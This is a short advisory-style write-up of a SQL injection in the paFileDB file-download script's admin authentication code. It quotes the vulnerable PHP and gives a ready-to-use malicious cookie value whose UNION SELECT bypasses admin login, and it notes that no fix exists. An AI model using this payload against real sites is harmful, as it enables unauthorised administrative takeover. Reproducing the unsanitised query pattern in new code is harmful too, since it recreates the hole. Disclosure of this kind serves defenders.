Writeup by Astovidatu
Description:
paFileDB is designed to allow webmasters have a database of files for download on their site.
See [1] for a detailed description.
SQL-Injection:
The vulnerable file: '/includes/admin/auth.php'
Pre-conditions:
- magic_quotes_gpc Off
- $authmethod = cookies
Vulnerable Code:
if ($authmethod == "cookies") {
echo "authmethod = cookies\n";
$cdata = explode("|", $pafiledbcookie);
$ip = $cdata[0];
$user = $cdata[1];
$pass = $cdata[2];
echo "ip = $ip, user = $user, pass = $pass\n";
}
if (!empty($user)) {
echo "user not emtpy\n";
$admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin WHERE admin_username = '$user'", 1);
$adminip = getenv ("REMOTE_ADDR");
$md5ip = md5($adminip);
if ($pass == $admin[admin_password] && $md5ip == $ip) {
$logged = 1;
}
} else {
echo "user empty\n";
$logged = 0;
}
}
SQL-Injection through $user.
In order to exploit the issue, an attacker needs to construct a malformed cookie:
Name: pafiledbcookie
Content: [MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass
"/pafiledb.php?action=admin": open and your logged in as admin in the ACP.

There is no solution yet.
